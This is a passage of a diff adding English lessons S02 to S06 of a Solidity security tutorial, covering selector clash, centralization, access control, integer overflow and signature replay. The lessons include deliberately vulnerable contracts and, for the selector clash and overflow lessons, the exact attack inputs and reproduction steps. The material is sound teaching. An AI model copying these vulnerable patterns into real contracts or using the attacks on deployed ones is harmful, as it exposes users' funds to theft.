we discussed two methods to prevent reentrancy attacks: the checks-effect-interaction pattern and the reentrant lock. In the example, the hacker exploited the fallback function to perform a reentrancy attack during `ETH` transfer in the target contract. In real-world scenarios, the `safeTransfer()` and `safeTransferFrom()` functions of `ERC721` and `ERC1155`, as well as the fallback function of `ERC777`, can also potentially trigger reentrancy attacks. For beginners, my suggestion is to use a reentrant lock to protect all `external` functions that can change the contract state. Although it may consume more `gas`, it can prevent greater losses. diff --git a/Languages/en/S02_SelectorClash_en/SelectorClash.sol b/Languages/en/S02_SelectorClash_en/SelectorClash.sol new file mode 100644 index 000000000..d19eee5b0 --- /dev/null +++ b/Languages/en/S02_SelectorClash_en/SelectorClash.sol @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +// by 0xAA +// english translation by: 22X +pragma solidity ^0.8.4; + +contract SelectorClash { + bool public solved; // Whether the attack is successful + + // The attacker needs to call this function, but the caller msg.sender must be this contract. + function putCurEpochConPubKeyBytes(bytes memory _bytes) public { + require(msg.sender == address(this), "Not Owner"); + solved = true; + } + + // Vulnerable, the attacker can collide function selectors by changing the _method variable, call the target function, and complete the attack. + function executeCrossChainTx(bytes memory _method, bytes memory _bytes, bytes memory _bytes1, uint64 _num) public returns(bool success){ + (success, ) = address(this).call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(bytes,bytes,uint64)"))), abi.encode(_bytes, _bytes1, _num))); + } + + function secretSlector() external pure returns(bytes4){ + return bytes4(keccak256("putCurEpochConPubKeyBytes(bytes)")); + } + + function hackSlector() external pure returns(bytes4){ + return bytes4(keccak256("f1121318093(bytes,bytes,uint64)")); + } +} \ No newline at end of file diff --git a/Languages/en/S02_SelectorClash_en/img/S02-1.png b/Languages/en/S02_SelectorClash_en/img/S02-1.png new file mode 100644 index 000000000..6929c736c Binary files /dev/null and b/Languages/en/S02_SelectorClash_en/img/S02-1.png differ diff --git a/Languages/en/S02_SelectorClash_en/img/S02-2.png b/Languages/en/S02_SelectorClash_en/img/S02-2.png new file mode 100644 index 000000000..ce6c63bb7 Binary files /dev/null and b/Languages/en/S02_SelectorClash_en/img/S02-2.png differ diff --git a/Languages/en/S02_SelectorClash_en/readme.md b/Languages/en/S02_SelectorClash_en/readme.md new file mode 100644 index 000000000..71883cdd0 --- /dev/null +++ b/Languages/en/S02_SelectorClash_en/readme.md @@ -0,0 +1,100 @@ +--- +title: S02. Selector Clash +tags: + - solidity + - security + - selector + - abi encode +--- + +# WTF Solidity S02. Selector Clash + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce the selector clash attack, which is one of the reasons behind the hack of the cross-chain bridge Poly Network. In August 2021, the cross-chain bridge contracts of Poly Network on ETH, BSC, and Polygon were hacked, resulting in a loss of up to $611 million ([summary](https://rekt.news/zh/polynetwork-rekt/)). This is the largest blockchain hack of 2021 and the second-largest in history, second only to the Ronin bridge hack. + +## Selector Clash + +In Ethereum smart contracts, the function selector is the first 4 bytes (8 hexadecimal digits) of the hash value of the function signature `"()"`. When a user calls a function in a contract, the first 4 bytes of the `calldata` represent the selector of the target function, determining which function to call. If you are not familiar with it, you can read the [WTF Solidity 29: Function Selectors](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/29_Selector_en/readme.md). + +Due to the limited length of the function selector (4 bytes), it is very easy to collide: that is, we can easily find two different functions that have the same function selector. For example, `transferFrom(address,address,uint256)` and `gasprice_bit_ether(int128)` have the same selector: `0x23b872dd`. Of course, you can also write a script to brute force it. + +![](./img/S02-1.png) + +You can use the following websites to find different functions corresponding to the same selector: + +1. [https://www.4byte.directory/](https://www.4byte.directory/) +2. [https://sig.eth.samczsun.com/](https://sig.eth.samczsun.com/) + +You can also use the "Power Clash" tool below for brute forcing: + +1. PowerClash: https://github.com/AmazingAng/power-clash + +In contrast, the public key of a wallet is `64` bytes long and the probability of collision is almost `0`, making it very secure. + +## `0xAA` Solves the Sphinx Riddle + +The people of Ethereum have angered the gods, and the gods are furious. In order to punish the people of Ethereum, the goddess Hera sends down a Sphinx, a creature with the head of a human and the body of a lion, to the cliffs of Ethereum. The Sphinx presents a riddle to every Ethereum user who passes by the cliff: "What walks on four legs in the morning, two legs at noon, and three legs in the evening? It is the only creature that walks on different numbers of legs throughout its life. When it has the most legs, it is at its slowest and weakest." Those who solve this enigmatic riddle will be spared, while those who fail to solve it will be devoured. The Sphinx uses the selector `0x10cd2dc7` to verify the correct answer. + +One morning, Oedipus passes by and encounters the Sphinx. He solves the mysterious riddle and says, "It is `function man()`. In the morning of life, he is a child who crawls on two legs and two hands. At noon, he becomes an adult who walks on two legs. In the evening, he grows old and weak, and needs a cane to walk, hence he is called three-legged." After guessing the riddle correctly, Oedipus is allowed to live. + +Later that afternoon, `0xAA` passes by and encounters the Sphinx. He also solves the mysterious riddle and says, "It is `function peopleLduohW(uint256)`. In the morning of life, he is a child who crawls on two legs and two hands. At noon, he becomes an adult who walks on two legs. In the evening, he grows old and weak, and needs a cane to walk, hence he is called three-legged." Once again, the riddle is guessed correctly, and the Sphinx becomes furious. In a fit of anger, the Sphinx slips and falls from the towering cliff to its death. + +![](./img/S02-2.png) + +## Vulnerable Contract Example + +### Vulnerable Contract + +Let's take a look at an example of a vulnerable contract. The `SelectorClash` contract has one state variable `solved`, initialized as `false`, which the attacker needs to change to `true`. The contract has `2` main functions, named after the Poly Network vulnerable contract. + +1. `putCurEpochConPubKeyBytes()`: After calling this function, the attacker can change `solved` to `true` and complete the attack. However, this function checks `msg.sender == address(this)`, so the caller must be the contract itself. We need to look at other functions. + +2. `executeCrossChainTx()`: This function allows calling functions within the contract, but the function parameters are slightly different from the target function: the target function takes `(bytes)` as parameters, while this function takes `(bytes, bytes, uint64)`. + +```solidity +contract SelectorClash { + bool public solved; // Whether the attack is successful + + // The attacker needs to call this function, but the caller msg.sender must be this contract. + function putCurEpochConPubKeyBytes(bytes memory _bytes) public { + require(msg.sender == address(this), "Not Owner"); + solved = true; + } + + // Vulnerable, the attacker can collide function selectors by changing the _method variable, call the target function, and complete the attack. + function executeCrossChainTx(bytes memory _method, bytes memory _bytes, bytes memory _bytes1, uint64 _num) public returns(bool success){ + (success, ) = address(this).call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(bytes,bytes,uint64)"))), abi.encode(_bytes, _bytes1, _num))); + } +} +``` + +### How to Attack + +Our goal is to use the `executeCrossChainTx()` function to call the `putCurEpochConPubKeyBytes()` function in the contract. The selector of the target function is `0x41973cd9`. We observe that the `executeCrossChainTx()` function calculates the selector using the `_method` parameter and `"(bytes,bytes,uint64)"` as the function signature. Therefore, we just need to choose the appropriate `_method` so that the calculated selector matches `0x41973cd9`, allowing us to call the target function through selector collision. + +In the Poly Network hack, the hacker collided the `_method` as `f1121318093`, which means the first `4` bytes of the hash of `f1121318093(bytes,bytes,uint64)` is also `0x41973cd9`, successfully calling the function. Next, we need to convert `f1121318093` to the `bytes` type: `0x6631313231333138303933`, and pass it as a parameter to `executeCrossChainTx()`. The other `3` parameters of `executeCrossChainTx()` are not important, so we can fill them with `0x`, `0x`, and `0`. + +## Reproduce on `Remix` + +1. Deploy the `SelectorClash` contract. +2. Call `executeCrossChainTx()` with the parameters `0x6631313231333138303933`, `0x`, `0x`, `0`, to initiate the attack. +3. Check the value of the `solved` variable, which should be modified to `true`, indicating a successful attack. + +## Summary + +In this lesson, we introduced the selector clash attack, which is one of the reasons behind the $611 million hack of the Poly Network cross-chain bridge. This attack teaches us: + +1. Function selectors are easily collided, even when changing parameter types, it is still possible to construct functions with the same selector. + +2. Manage the permissions of contract functions properly to ensure that functions of contracts with special privileges cannot be called by users. diff --git a/Languages/en/S03_Centralization_en/Centralization.sol b/Languages/en/S03_Centralization_en/Centralization.sol new file mode 100644 index 000000000..546a73b3f --- /dev/null +++ b/Languages/en/S03_Centralization_en/Centralization.sol @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.4; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +contract Centralization is ERC20, Ownable { + constructor() ERC20("Centralization", "Cent") { + address exposedAccount = 0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2; + transferOwnership(exposedAccount); + } + + function mint(address to, uint256 amount) external onlyOwner{ + _mint(to, amount); + } +} \ No newline at end of file diff --git a/Languages/en/S03_Centralization_en/img/S03-1.png b/Languages/en/S03_Centralization_en/img/S03-1.png new file mode 100644 index 000000000..c2ff9bf1c Binary files /dev/null and b/Languages/en/S03_Centralization_en/img/S03-1.png differ diff --git a/Languages/en/S03_Centralization_en/readme.md b/Languages/en/S03_Centralization_en/readme.md new file mode 100644 index 000000000..7727b7859 --- /dev/null +++ b/Languages/en/S03_Centralization_en/readme.md @@ -0,0 +1,78 @@ +--- +title: S03. Centralization Risks +tags: + - solidity + - security + - multisig +--- + +# WTF Solidity S03. Centralization Risks + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will discuss the risks of centralization and pseudo-decentralization in smart contracts. The `Ronin` bridge and `Harmony` bridge were hacked due to these vulnerabilities, resulting in the theft of $624 million and $100 million, respectively. + +## Centralization Risks + +We often take pride in the decentralization of Web3, believing that in the world of Web3.0, ownership and control are decentralized. However, centralization is actually one of the most common risks in Web3 projects. In their [2021 DeFi Security Report](https://f.hubspotusercontent40.net/hubfs/4972390/Marketing/defi%20security%20report%202021-v6.pdf), renowned blockchain auditing firm Certik pointed out: + +> Centralization risk is the most common vulnerability in DeFi, with 44 DeFi hacks in 2021 related to it, resulting in over $1.3 billion in user funds lost. This emphasizes the importance of decentralization, and many projects still need to work towards this goal. + +Centralization risk refers to the centralization of ownership in smart contracts, where the `owner` of the contract is controlled by a single address. This owner can freely modify contract parameters and even withdraw user funds. Centralized projects have a single point of failure and can be exploited by malicious developers (insiders) or hackers who gain control over the address with control permissions. They can perform actions such as `rug-pull`ing, unlimited minting, or other methods to steal funds. + +Gaming project `Vulcan Forged` was hacked for $140 million in December 2021 due to a leaked private key. DeFi project `EasyFi` was hacked for $59 million in April 2021 due to a leaked private key. DeFi project `bZx` lost $55 million in a phishing attack due to a leaked private key. + +## Pseudo-Decentralization Risks + +Pseudo-decentralized projects often claim to be decentralized but still have a single point of failure, similar to centralized projects. For example, they may use a multi-signature wallet to manage smart contracts, but a few signers act in consensus and are controlled by a single person. These projects, packaged as decentralized, easily gain the trust of investors. Therefore, when a hack occurs, the amount stolen is often larger. + +The Ronin bridge of the popular gaming project Axie was hacked for $624 million in March 2022, making it the largest theft in history. The Ronin bridge is maintained by 9 validators, and 5 of them must reach consensus to approve deposit and withdrawal transactions. This appears to be similar to a multi-signature setup and highly decentralized. However, 4 of the validators are controlled by Axie's development company, Sky Mavis, and the other validator controlled by Axie DAO also approved transactions on behalf of Sky Mavis. Therefore, once the attacker gains access to Sky Mavis' private key (specific method undisclosed), they can control the 5 validators and authorize the theft of 173,600 ETH and $25.5 million USDC. + +The Harmony cross-chain bridge was hacked for $100 million in June 2022. The Harmony bridge is controlled by 5 multi-signature signers, and shockingly, only 2 signatures are required to approve a transaction. After the hacker managed to steal the private keys of two signers, they emptied the assets pledged by users. + +![](./img/S03-1.png) + +## Examples of Vulnerable Contracts + +There are various types of contracts with centralization risks, but here is the most common example: an `ERC20` contract where the `owner` address can mint tokens arbitrarily. When an insider or hacker obtains the private key of the `owner`, they can mint an unlimited amount of tokens, causing significant losses for investors. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.4; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +contract Centralization is ERC20, Ownable { + constructor() ERC20("Centralization", "Cent") { + address exposedAccount = 0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2; + transferOwnership(exposedAccount); + } + + function mint(address to, uint256 amount) external onlyOwner{ + _mint(to, amount); + } +} +``` + +## How to Reduce Centralization/Pseudo-Decentralization Risks? + +1. Use a multi-signature wallet to manage the treasury and control contract parameters. To balance efficiency and decentralization, you can choose a 4/7 or 6/9 multi-signature setup. If you are not familiar with multi-signature wallets, you can read [WTF Solidity 50: Multi-Signature Wallet](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/50_MultisigWallet_en/readme.md). + +2. Diversify the holders of the multi-signature wallet, spreading them among the founding team, investors, and community leaders, and do not authorize each other's signatures. + +3. Use time locks to control the contract, giving the project team and community some time to respond and minimize losses in case of hacking or insider manipulation of contract parameters/asset theft. If you are not familiar with time lock contracts, you can read [WTF Solidity 45: Time Lock](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/45_Timelock_en/readme.md). + +## Summary + +Centralization/pseudo-decentralization is the biggest risk for blockchain projects, causing over $2 billion in user fund losses in the past two years. Centralization risks can be identified by analyzing the contract code, while pseudo-decentralization risks are more hidden and require thorough due diligence of the project to uncover. diff --git a/Languages/en/S04_AccessControlExploit_en/AccessControlExploit.sol b/Languages/en/S04_AccessControlExploit_en/AccessControlExploit.sol new file mode 100644 index 000000000..aa9e43257 --- /dev/null +++ b/Languages/en/S04_AccessControlExploit_en/AccessControlExploit.sol @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.4; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +// Access Control Exploit Example +contract AccessControlExploit is ERC20, Ownable { + // Constructor: Initialize token name and symbol + constructor() ERC20("Wrong Access", "WA") {} + + // Bad mint function without access control + function badMint(address to, uint amount) public { + _mint(to, amount); + } + + // Good mint function with onlyOwner modifier for access control + function goodMint(address to, uint amount) public onlyOwner { + _mint(to, amount); + } + + // Bad burn function without access control + function badBurn(address account, uint amount) public { + _burn(account, amount); + } + + // Good burn function that checks authorization if burning tokens owned by another account + function goodBurn(address account, uint amount) public { + if(msg.sender != account){ + _spendAllowance(account, msg.sender, amount); + } + _burn(account, amount); + } +} diff --git a/Languages/en/S04_AccessControlExploit_en/img/S04-1.png b/Languages/en/S04_AccessControlExploit_en/img/S04-1.png new file mode 100644 index 000000000..c39ac0973 Binary files /dev/null and b/Languages/en/S04_AccessControlExploit_en/img/S04-1.png differ diff --git a/Languages/en/S04_AccessControlExploit_en/img/S04-2.png b/Languages/en/S04_AccessControlExploit_en/img/S04-2.png new file mode 100644 index 000000000..194ae432d Binary files /dev/null and b/Languages/en/S04_AccessControlExploit_en/img/S04-2.png differ diff --git a/Languages/en/S04_AccessControlExploit_en/readme.md b/Languages/en/S04_AccessControlExploit_en/readme.md new file mode 100644 index 000000000..8e1ec3ff3 --- /dev/null +++ b/Languages/en/S04_AccessControlExploit_en/readme.md @@ -0,0 +1,85 @@ +--- +title: S04. Access Control Exploit +tags: + - solidity + - security + - modifier + - erc20 +--- + +# WTF Solidity S04. Access Control Exploit + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +----- + +In this lesson, we will discuss the access control vulnerabilities in smart contracts. These vulnerabilities led to the Poly Network being hacked for $611 million and the ShadowFi DeFi project on BSC being hacked for $300,000. + +## Access Control Vulnerabilities + +Access control in smart contracts defines the roles and accesses of different users in the application. Typically, functions such as token minting, fund withdrawal, and pausing require higher-level accesses to be called. If the access configuration is incorrect, it can lead to unexpected losses. Below, we will discuss two common access control vulnerabilities. + +### 1. Incorrect Access Configuration + +If special functions in a contract are not properly managed with accesses, anyone can mint a large number of tokens or drain the funds from the contract. In the case of the Poly Network cross-chain bridge, the function for transferring guardianship was not configured with the appropriate accesses, allowing hackers to change it to their own address and withdraw $611 million from the contract. + +In the code below, the `mint()` function does not have access control, allowing anyone to call it and mint tokens. + +```solidity +// Bad mint function without access control +function badMint(address to, uint amount) public { + _mint(to, amount); +} +``` + +![](./img/S04-1.png) + +### 2. Authorization Check Error + +Another common type of access control vulnerability is failing to check if the caller has sufficient authorization in a function. The token contract of the DeFi project ShadowFi on BSC forgot to check the caller's allowance in the `burn()` function, allowing attackers to arbitrarily burn tokens from other addresses. After the hacker burned tokens in the liquidity pool, they only needed to sell a small amount of tokens to withdraw all the BNB from the pool, resulting in a profit of $300,000. + +```solidity +// Bad burn function without access control +function badBurn(address account, uint amount) public { + _burn(account, amount); +} +``` + +![](./img/S04-2.png) + +## How to Prevent + +There are two main methods for preventing access control vulnerabilities: + +1. Use OpenZeppelin's access control library to configure appropriate accesses for special functions in the contract. For example, use the `OnlyOwner` modifier to restrict access to only the contract owner. + +```solidity +// Good mint function with onlyOwner modifier for access control +function goodMint(address to, uint amount) public onlyOwner { + _mint(to, amount); +} +``` + +2. Ensure that the caller of the function has sufficient authorization within the function's logic. + +```solidity +// Good burn function that checks authorization if burning tokens owned by another account +function goodBurn(address account, uint amount) public { + if(msg.sender != account){ + _spendAllowance(account, msg.sender, amount); + } + _burn(account, amount); +} +``` + +## Summary + +In this lesson, we discussed access control vulnerabilities in smart contracts. There are two main forms: incorrect access configuration and authorization check errors. To avoid these vulnerabilities, we should use a access control library to configure appropriate accesses for special functions and ensure that the caller of the function has sufficient authorization within the function's logic. diff --git a/Languages/en/S05_Overflow_en/Overflow.sol b/Languages/en/S05_Overflow_en/Overflow.sol new file mode 100644 index 000000000..1f308a83f --- /dev/null +++ b/Languages/en/S05_Overflow_en/Overflow.sol @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.4; + +contract Token { + mapping(address => uint) balances; + uint public totalSupply; + + constructor(uint _initialSupply) { + balances[msg.sender] = totalSupply = _initialSupply; + } + + function transfer(address _to, uint _value) public returns (bool) { + unchecked{ + require(balances[msg.sender] - _value >= 0); + balances[msg.sender] -= _value; + balances[_to] += _value; + } + return true; + } + function balanceOf(address _owner) public view returns (uint balance) { + return balances[_owner]; + } +} diff --git a/Languages/en/S05_Overflow_en/img/S05-1.png b/Languages/en/S05_Overflow_en/img/S05-1.png new file mode 100644 index 000000000..86a36db65 Binary files /dev/null and b/Languages/en/S05_Overflow_en/img/S05-1.png differ diff --git a/Languages/en/S05_Overflow_en/readme.md b/Languages/en/S05_Overflow_en/readme.md new file mode 100644 index 000000000..ed323a240 --- /dev/null +++ b/Languages/en/S05_Overflow_en/readme.md @@ -0,0 +1,86 @@ +--- +title: S05. Integer Overflow +tags: + - solidity + - security +--- + +# WTF Solidity S05. Integer Overflow + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +----- + +In this lesson, we will introduce the integer overflow vulnerability (Arithmetic Over/Under Flows). This is a relatively common vulnerability, but it has become less prevalent since Solidity version 0.8, which includes the Safemath library. + +## Integer Overflow + +The Ethereum Virtual Machine (EVM) has fixed-size integers, which means it can only represent a specific range of numbers. For example, a `uint8` can only represent numbers in the range of [0, 255]. If a `uint8` variable is assigned the value `257`, it will overflow and become `1`; if it is assigned `-1`, it will underflow and become `255`. + +Attackers can exploit this vulnerability: imagine a hacker with a balance of `0` who magically increases their balance by `$1`, and suddenly their balance becomes `$2^256-1`. In 2018, the "PoWHC" project lost `866 ETH` due to this vulnerability. + +![](./img/S05-1.png) + +## Vulnerable Contract Example + +The following example is a simple token contract inspired by the "Ethernaut" contract. It has `2` state variables: `balances`, which records the balance of each address, and `totalSupply`, which records the total token supply. + +It has `3` functions: + +- Constructor: Initializes the total token supply. +- `transfer()`: Transfer function. +- `balanceOf()`: Balance query function. + +Since Solidity version `0.8.0`, integer overflow errors are automatically checked, and an error is thrown if an overflow occurs. To reproduce this vulnerability, we need to use the `unchecked` keyword to temporarily disable the overflow check within a code block, as we did in the `transfer()` function. + +The vulnerability in this example lies in the `transfer()` function, specifically the line `require(balances[msg.sender] - _value >= 0);`. Due to integer overflow, this check will always pass. Therefore, users can transfer an unlimited amount of tokens. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.4; + +contract Token { + mapping(address => uint) balances; + uint public totalSupply; + + constructor(uint _initialSupply) { + balances[msg.sender] = totalSupply = _initialSupply; + } + + function transfer(address _to, uint _value) public returns (bool) { + unchecked{ + require(balances[msg.sender] - _value >= 0); + balances[msg.sender] -= _value; + balances[_to] += _value; + } + return true; + } + function balanceOf(address _owner) public view returns (uint balance) { + return balances[_owner]; + } +} +``` + +## Reproduce on `Remix` + +1. Deploy the `Token` contract and set the total supply to `100`. +2. Transfer `1000` tokens to another account, which can be done successfully. +3. Check the balance of your own account and find a very large number, approximately `2^256`. + +## How to Prevent + +1. For versions of Solidity before `0.8.0`, include the [Safemath library](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol) in the contract to throw an error in case of integer overflow. + +2. For versions of Solidity after `0.8.0`, `Safemath` is built-in, so this type of issue is almost non-existent. However, developers may temporarily disable integer overflow checks within a code block using the `unchecked` keyword to save gas. In such cases, it is important to ensure that no integer overflow vulnerabilities exist. + +## Summary + +In this lesson, we introduced the classic integer overflow vulnerability. Due to the built-in `Safemath` integer overflow check in Solidity version `0.8.0` and later, this type of vulnerability has become rare. diff --git a/Languages/en/S06_SignatureReplay_en/SingatureReplay.sol b/Languages/en/S06_SignatureReplay_en/SingatureReplay.sol new file mode 100644 index 000000000..a81911e40 --- /dev/null +++ b/Languages/en/S06_SignatureReplay_en/SingatureReplay.sol @@ -0,0 +1,80 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.4; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + +// Access control bad example +contract SigReplay is ERC20 { + + address public signer; + + // Constructor: initialize token name and symbol + constructor() ERC20("SigReplay", "Replay") { + signer = msg.sender; + } + + /** + * Mint function with signature replay vulnerability + * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * amount: 1000 + * Signature: 0x5a4f1ad4d8bd6b5582e658087633230d9810a0b7b8afa791e3f94cc38947f6cb1069519caf5bba7b975df29cbfdb4ada355027589a989435bf88e825841452f61b + */ + function badMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount)); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + } + + /** + * Concatenate the 'to' address (address type) and 'amount' (uint256 type) to form the message 'msgHash' + * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * amount: 1000 + * Corresponding message 'msgHash': 0xb4a4ba10fbd6886a312ec31c54137f5714ddc0e93274da8746a36d2fa96768be + */ + function getMessageHash(address to, uint256 amount) public pure returns(bytes32){ + return keccak256(abi.encodePacked(to, amount)); + } + + /** + * @dev Get the Ethereum signed message hash + * `hash`: Message hash + * Follows the Ethereum signature standard: https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] + * and `EIP191`: https://eips.ethereum.org/EIPS/eip-191` + * Adds the "\x19Ethereum Signed Message:\n32" field to prevent signing of executable transactions. + */ + function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) { + // 32 is the length in bytes of hash, + // enforced by the type signature above + return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); + } + + // ECDSA verification + function verify(bytes32 _msgHash, bytes memory _signature) public view returns (bool){ + return ECDSA.recover(_msgHash, _signature) == signer; + } + + + mapping(address => bool) public mintedAddress; // Records addresses that have already minted + + function goodMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount)); + require(verify(_msgHash, signature), "Invalid Signer!"); + // Check if the address has already minted + require(!mintedAddress[to], "Already minted"); + // Record the address minted + mintedAddress[to] = true; + _mint(to, amount); + } + + uint nonce; + + function nonceMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount, nonce, block.chainid))); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + nonce++; + } +} \ No newline at end of file diff --git a/Languages/en/S06_SignatureReplay_en/img/S06-1.png b/Languages/en/S06_SignatureReplay_en/img/S06-1.png new file mode 100644 index 000000000..d7366d372 Binary files /dev/null and b/Languages/en/S06_SignatureReplay_en/img/S06-1.png differ diff --git a/Languages/en/S06_SignatureReplay_en/img/S06-2.png b/Languages/en/S06_SignatureReplay_en/img/S06-2.png new file mode 100644 index 000000000..c7169d870 Binary files /dev/null and b/Languages/en/S06_SignatureReplay_en/img/S06-2.png differ diff --git a/Languages/en/S06_SignatureReplay_en/img/S06-3.png b/Languages/en/S06_SignatureReplay_en/img/S06-3.png new file mode 100644 index 000000000..042597822 Binary files /dev/null and b/Languages/en/S06_SignatureReplay_en/img/S06-3.png differ diff --git a/Languages/en/S06_SignatureReplay_en/img/S06-4.png b/Languages/en/S06_SignatureReplay_en/img/S06-4.png new file mode 100644 index 000000000..4238aa09f Binary files /dev/null and b/Languages/en/S06_SignatureReplay_en/img/S06-4.png differ diff --git a/Languages/en/S06_SignatureReplay_en/img/S06-5.png b/Languages/en/S06_SignatureReplay_en/img/S06-5.png new file mode 100644 index 000000000..2fe7922db Binary files /dev/null and b/Languages/en/S06_SignatureReplay_en/img/S06-5.png differ diff --git a/Languages/en/S06_SignatureReplay_en/readme.md b/Languages/en/S06_SignatureReplay_en/readme.md new file mode 100644 index 000000000..fa7eb600f --- /dev/null +++ b/Languages/en/S06_SignatureReplay_en/readme.md @@ -0,0 +1,169 @@ +--- +title: S06. Signature Replay +tags: + - solidity + - security + - signature +--- + +# WTF Solidity S06. Signature Replay + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce the Signature Replay attack and how to prevent in smart contracts, which indirectly led to the theft of 20 million $OP tokens from the famous market maker Wintermute. + +## Signature Replay + +When I was in school, teachers often asked parents to sign documents. Sometimes, when parents were busy, I would "helpfully" copy their previous signatures. In a sense, this is similar to signature replay. + +In blockchain, digital signatures can be used to identify the signer of data and verify data integrity. When sending transactions, users sign the transactions with their private keys, allowing others to verify that the transaction was sent by the corresponding account. Smart contracts can also use the `ECDSA` algorithm to verify signatures created off-chain by users and then execute logic such as minting or transferring tokens. For more information about digital signatures, please refer to [WTF Solidity 37: Digital Signatures](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/37_Signature_en/readme.md). + +There are generally two common types of replay attacks on digital signatures: + +1. Regular replay: Reusing a signature that should have been used only once. The NBA's "The Association" series of NFTs were freely minted thousands of times due to this type of attack. +2. Cross-chain replay: Reusing a signature intended for use on one chain on another chain. Wintermute, the market maker, lost 20 million $OP tokens due to a cross-chain replay attack. + +![](./img/S06-1.png) + +## Vulnerable Contract Example + +The `SigReplay` contract below is an `ERC20` token contract that has a signature replay vulnerability in its 